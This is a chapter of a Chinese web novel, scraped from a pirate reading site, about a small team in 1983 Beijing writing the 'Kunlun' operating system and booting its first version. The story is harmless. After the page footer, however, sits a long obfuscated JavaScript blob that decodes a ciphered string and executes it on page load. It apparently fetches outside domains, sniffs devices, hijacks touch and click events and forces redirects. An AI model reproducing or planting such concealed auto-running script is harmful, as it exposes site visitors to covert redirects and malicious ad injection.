首页
[切换至繁体版]
返回

第350章 昆仑系统

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第350章昆仑系统(第1/2页)
    1983年5月,北京。
    中关村新楼三层最东头那间屋子,门口连块牌子都没挂。
    窗户朝东,早上太阳一出来就晃眼,下午又晒得跟蒸笼似的。
    但王溯不在乎这个。
    他站在屋子中间,看着眼前这几个人。
    胡志远,坐角落那台机器前,头发还是乱糟糟的,眼镜片厚得像啤酒瓶底。
    来了一多月了,说的话加起来不超过一百句。
    李卫国,二十八岁,软件组最早的骨干之一,话多,手快,一个人能顶三个用。
    还有两个新面孔。
    一个叫刘春生,二十五岁,北大数学系毕业的,去年分来的;一个叫孙晓梅,二十四岁,唯一的女生,清华计算机系的高材生。
    五个人,五台机器,一间朝东的屋子。
    这就是操作系统的全部家当。
    “人都齐了。”王溯开口,“咱们开个会。”
    胡志远没动,继续盯着屏幕。
    李卫国拉过一把椅子坐下。刘春生和孙晓梅站在旁边,等着。
    王溯走到黑板前,拿起粉笔,写下两个字:
    “昆仑”
    “这是咱们的系统,叫‘昆仑’。”他转过身,“这名儿,是赵总工起的。”
    胡志远的头抬了一下,又低下去了。
    李卫国念出声来:“昆仑……挺有气势。”
    王溯点点头。
    “咱们的任务,是在这儿,从零开始,写一个操作系统。”
    他看着那几个人。
    “不是改别人的,不是抄别人的,是自己从头写的。内核、文件系统、内存管理、进程调度、设备驱动、用户界面——全得自己写。”
    屋里安静了几秒。
    刘春生举手。
    “王组长,我问一下,咱们为什么要自己写?不能改别人的吗?”
    王溯看着他。
    “改谁的?”
    刘春生想了想:“CP/M,或者……那个刚出来的MS-DOS?”
    王溯摇摇头。
    “改不了。”
    他从桌上拿起一沓资料,递给刘春生。
    “这是咱们的硬件架构。跟别人的不一样。别人的系统,跑不了。”
    刘春生翻着资料,没说话。
    孙晓梅开口。
    “王组长,咱们有多少人?”
    “五个。”
    “时间呢?”
    “不知道。可能三年,可能五年。”
    孙晓梅沉默了几秒,然后点点头。
    “行。”
    王溯看着她。
    “你不怕?”
    孙晓梅摇摇头。
    “怕什么?干就是了。”
    王溯笑了。
    他转向胡志远。
    “老胡,你说两句?”
    胡志远抬起头,看着他。
    “说什么?”
    “说点……鼓励的话?”
    胡志远想了想。
    然后他转回去,继续盯着屏幕。
    “代码写出来,就是鼓励。”
    王溯愣了一下,然后笑了。
    “行。那就不说了。”
    他走到那台机器前,坐下。
    把手放在键盘上。
    “第一行代码,谁来写?”
    没人说话。
    王溯看着屏幕,沉默了几秒。
    然后他敲下了第一行。
    那是一个注释:
    “/*KUnlUnOS-kernelStart*/”
    屋里安静极了。
    只有键盘敲击的声音,噼里啪啦,一下一下。
    胡志远的嘴角,翘了一下。
    没让别人看见。
    第一个月,最难熬。
    五个人,五台机器,每天从早上八点干到晚上十二点。饿了就在机房吃,困了就在椅子上眯一会儿。
    王溯买了五张折叠床,靠墙放着。谁实在扛不住了,就躺一会儿。但很少有人躺。躺下去,脑子里还是那些代码,翻来覆去睡不着,还不如起来接着写。
    胡志远最拼。
    他每天来得最早,走得最晚。有时候王溯早上七点半到,他已经在那儿了。问他几点来的,他说六点。问他晚上几点走的,他说不知道。
    李卫国悄悄跟王溯说:“老胡这人,不是人。”
    王溯瞪他一眼。
    “我说真的。”李卫国压低声音,“他一天能写我三天的量。而且bUg少,基本上写完就能跑。他是怎么长的?”
    王溯看着胡志远的背影,没说话。
    但他心里清楚。
    这人,是真喜欢写代码。
    不是当工作,是真喜欢。
    刘春生和孙晓梅也拼。
    两个新人,刚来就赶上这种强度,谁也没叫苦。刘春生负责文件系统,天天抱着那本《数据结构》翻,翻烂了还在翻。孙晓梅负责内存管理,遇到难题就追着王溯问,问完了自己琢磨,琢磨通了就写,写完了再问。
    有一天晚上,王溯十一点多要走,看见孙晓梅还趴在桌上,对着一屏幕代码发呆。
    “晓梅,还不走?”
    孙晓梅抬起头,眼睛红红的。
    “王组长,这个bUg,我找了一天了,没找着。”
    王溯走过去,看了看屏幕。
    是一个内存分配的问题。代码看着没问题,但跑起来就死机。
    他坐下来,一行一行看。
    看了二十分钟,他指着一行代码。
    “这儿。”
    孙晓梅凑过去看。
    “少了一个判断。”王溯说,“边界条件没处理。”
    孙晓梅盯着那行代码,愣了几秒。
    然后她一拍脑袋。
    “对!对啊!我怎么没想到!”
    她抬起头,看着王溯。
    “王组长,你太厉害了。”
    王溯笑了。
    “不是我厉害。是你太累了。回去睡觉,明天再看。”
    孙晓梅点点头,关掉机器,站起来。
    走到门口,她忽然回过头。
    “王组长,咱们这个系统,真能做成吗?”
    王溯看着她。
    “你觉得呢?”
    孙晓梅想了想。
    “我觉得能。”
    “为什么?”
    孙晓梅指了指胡志远的座位——人早就走了,但桌上那沓打印纸还摊着,上面密密麻麻的代码,每一行都写得整整齐齐。
    “因为有老胡。”她说,“还有你。还有我们。”
    王溯愣了一下,然后笑了。
    “那就做下去。”
    第二个月,出了事。
    那天下午,王溯正在调试一段代码,忽然听见李卫国喊了一声。
    “坏了!”
    他抬起头。
    李卫国盯着屏幕,脸色煞白。
    “怎么了?”
    李卫国没说话,只是指着屏幕。
    王溯走过去一看,心里咯噔一下。
    屏幕上,一行红字:
    “FATAL:KERNELPANIC”
    内核崩溃。
    整个系统,死了。
    “怎么回事?”王溯问。
    李卫国摇头。
    “不知道。我刚加了一段代码,编译完一跑,就成这样了。”
    王溯坐下来,开始查。
    查了一个小时,没查出来。
    刘春生过来帮忙,又查了一个小时,还是没查出来。
    孙晓梅也过来,三个人一起查,又查了两个小时。
    天黑了。灯亮了。
    还是没查出来。
    李卫国坐在那儿,脸色越来越难看。
    “王组长,是我写崩的。我……”
    “别急。”王溯打断他,“代码是人写的,bUg也是人写的。找出来,改掉,就行。”
    他又低下头,继续看。
    九点多,门开了。
    胡志远走进来。他今天出去办了点事,下午不在。
    看见几个人围着屏幕,他愣了一下。
    “怎么了?”
    王溯抬起头。
    “内核崩了。找了一下午,没找着。”
    胡志远走过去,在李卫国旁边坐下。
    “最后一次提交是什么时候?”
    李卫国报了个时间。
    胡志远调出代码,开始看。
    看了十分钟。
    他指着屏幕。
    “这儿。”
    几个人凑过去看。
    一行代码,看起来没什么问题。
    “这儿少了一个括号。”胡志远说,“语法上没错,但逻辑不对。编译能过,跑起来就崩。”
    李卫国盯着那行代码,看了半天。
    (本章未完,请点击下一页继续阅读)第350章昆仑系统(第2/2页)
    然后他一拍脑袋。
    “对!对啊!我写的时候少敲了一个!”
    他转过头,看着胡志远。
    “老胡,你……你怎么看出来的?”
    胡志远没回答,只是站起来,走到自己的座位,坐下。
    “改完重新编译。”
    李卫国愣在那儿,半天没动。
    王溯拍拍他肩膀。
    “愣着干嘛?改啊。”
    李卫国这才回过神来,开始改代码。
    改完,重新编译。
    跑了二十分钟,没崩。
    又跑了半小时,还是好好的。
    李卫国长出一口气,靠在椅背上。
    “老胡,我服了。”
    胡志远没回头。
    但他的手,在键盘上停了一下。
    那天晚上,李卫国非要请胡志远吃饭。
    胡志远不去。李卫国就拽着他,生拉硬拽,拽到那个小馆子。
    点了几个菜,要了两瓶啤酒。
    李卫国端起酒杯。
    “老胡,我敬你。今天要不是你,我可能得熬一宿。”
    胡志远没端杯。
    “不用。”
    李卫国也不尴尬,自己喝了一口。
    “老胡,我问你个事儿。”
    胡志远看着他。
    “你这么厉害,以前在计算所,怎么没人知道?”
    胡志远沉默了一会儿。
    “没人问。”
    李卫国愣了一下。
    “什么?”
    “没人问。”胡志远说,“我在计算所干了六年。没人问过我,想干什么,能干什么,需要什么。”
    他拿起筷子,夹了一口菜。
    “后来我就不说了。”
    李卫国看着他,不知道该说什么。
    胡志远把菜嚼完,放下筷子。
    “王溯来的时候,问了我三个问题。”
    他顿了顿。
    “你会干活儿吗?你有什么条件?你什么时候能来?”
    他转过头,看着李卫国。
    “六年了,第一次有人问这些。”
    李卫国沉默了很久。
    然后他举起酒杯。
    “老胡,以后有人问了。”
    胡志远看着他。
    李卫国把酒干了。
    “以后咱们就是兄弟。你有事儿,说话。我扛不住,还有王溯。王溯扛不住,还有赵总工。”
    他放下酒杯。
    “你不是一个人了。”
    胡志远低着头,没说话。
    但他的手,在桌子底下,握成了拳头。
    第三个月,有了进展。
    那天下午,王溯把几个人叫到一起。
    “今天,咱们跑个完整的。”
    几个人互相看了看。
    “完整的?”李卫国问,“内核、内存、文件系统、进程调度,全跑?”
    王溯点头。
    “全跑。”
    胡志远没说话,但手指在键盘上敲了几下。
    屏幕上开始滚动一行行信息。
    内存初始化……完成。
    进程表初始化……完成。
    文件系统挂载……完成。
    调度器启动……完成。
    最后,屏幕上跳出一行提示符:
    “KUnlUnOSv0.1>”
    屋里安静极了。
    几个人盯着那行字,谁也没说话。
    然后李卫国嗷一嗓子。
    “成了!”
    他跳起来,在屋里转圈。
    刘春生和孙晓梅也笑了,使劲鼓掌。
    王溯没动。他就坐在那儿,盯着那行提示符,盯着那几个字。
    “KUnlUnOS”
    那是他写的。是他们五个人,三个月,一天一天熬出来的。
    他的眼眶有点红。
    胡志远也没动。他就坐在那儿,看着屏幕。
    但他的嘴角,翘得老高。
    门被推开了。
    赵四站在门口。
    “听说跑起来了?”
    王溯站
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();